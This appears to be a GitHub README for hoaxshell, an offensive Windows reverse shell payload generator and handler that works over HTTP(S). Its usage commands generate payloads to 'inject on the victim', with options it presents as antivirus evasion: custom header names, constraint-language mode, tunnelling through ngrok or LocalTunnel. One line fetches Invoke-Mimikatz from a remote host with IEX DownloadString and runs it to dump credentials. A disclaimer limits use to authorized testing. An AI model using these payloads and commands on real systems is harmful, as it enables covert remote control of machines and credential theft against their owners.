hoaxshell is a Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell, based on the following concept:
This concept (which could possibly be implemented by using protocols other than http or even sockets / pre-installed exes) can be used to establish sessions that promote the illusion of having an actuall shell. Compared to traditional reverse shells this is kind of fake, that’s why despite the name of the tool, i like to reffer to such implementations as a hoaxshell.
A bit unconventional as it is, hoaxshell did well against AV solutions (check AV bypass PoCs table for more info). Although it is now detected by Microsoft Defender, it is easy to obfuscate the generated payload(s) using other tools or even manually.
Tested against fully updated Windows 11 Enterprise, Windows Server 2016 Datacenter and Windows 10 Pro boxes.
Disclaimer: Purely made for testing and educational purposes. DO NOT run the payloads generated by this tool against hosts that you do not have explicit permission and authorization to test. You are responsible for any trouble you may cause by using this tool.
Find more screenshots here.
git clone https://github.com/t3l3machus/hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
Important: As a means of avoiding detection, hoaxshell is automatically generating random values for the session id, URL paths and name of a custom http header utilized in the process, every time the script is started. The generated payload will work only for the instance it was generated for. Use the
-g option to bypass this behaviour and re-establish an active session or reuse a past generated payload with a new instance of hoaxshell.
Basic shell session over http
When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject on the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the “rawpayload” prompt command or start hoaxshell with the
-r argument. After the payload has been executed on the victim, you’ll be able to run PowerShell commands against it.
Payload that utilizes
sudo python3 hoaxshell.py -s <your_ip>
Payload that writes and executes commands from a file
-x to provide a .ps1 file name (absolute path) to be created on the victim machine. You should check the raw payload before executing, make sure the path you provided is solid.
sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Recommended usage to avoid detection (over http)
Hoaxshell utilizes an http header to transfer shell session info. By default, the header is given a random name which can be detected by regex-based AV rules. Use -H to provide a standard or custom http header name to avoid detection.
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Encrypted shell session (https + self-signed certificate)
This particular payload is kind of a red flag, as it begins with an additional block of code that instructs PowerShell to skip SSL certificate checks, which makes it suspicious and easy to detect as well as significantly longer in length. Not recommended.
# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>
Encrypted shell session with a trusted certificate
If you own a domain, use this option to generate a shorter and less detectable https payload by providing your DN with -s along with a trusted certificate (-c cert.pem -k privkey.pem).
sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>
Grab session mode
In case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine.
sudo python3 hoaxshell.py -s <your_ip> -g
Important: Make sure to start hoaxshell with the same settings as the session you are trying to restore (http/https, port, etc).
Constraint language mode support
Use any of the payload variations with the
-cm (–constraint-mode) option to generate a payload that works even if the victim is configured to run PS in Constraint Language mode. By using this option, you sacrifice a bit of your reverse shell’s stdout decoding accuracy.
sudo python3 hoaxshell.py -s <your_ip> -cm
Shell session over https using tunneling tools (Ngrok / LocalTunnel)
Utilize tunnelling programmes Ngrok or LocalTunnel to get sessions through secure tunnels, overcominge issues like not having a Static IP address or your ISP forbidding Port-Forwarding.
--ngrok for Ngrok server
sudo python3 hoaxshell.py -ng
--localtunnel for LocalTunnel server
sudo python3 hoaxshell.py -lt
The shell is going to hang if you execute a command that initiates an interactive session. Example:
# this command will execute succesfully and you will have no problem:
> powershell echo 'This is a test'
# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
# In the same manner, you won't have a problem executing this:
> cmd /c dir /a
# But this will cause your hoaxshell to hang:
So, if you for example would like to run mimikatz throught hoaxshell you would need to invoke the commands:
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'
Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context.
AV Bypass PoCs
Some awesome people were kind enough to send me/publish PoC videos of executing hoaxshell’s payloads against systems running AV solutions other than MS Defender, without being detected. Below is a reference table with links:
Important: I don’t know if you can still use hoaxshell effectively to bypass these solutions. It’s only reasonable to assume the detectability will change soon (if not already).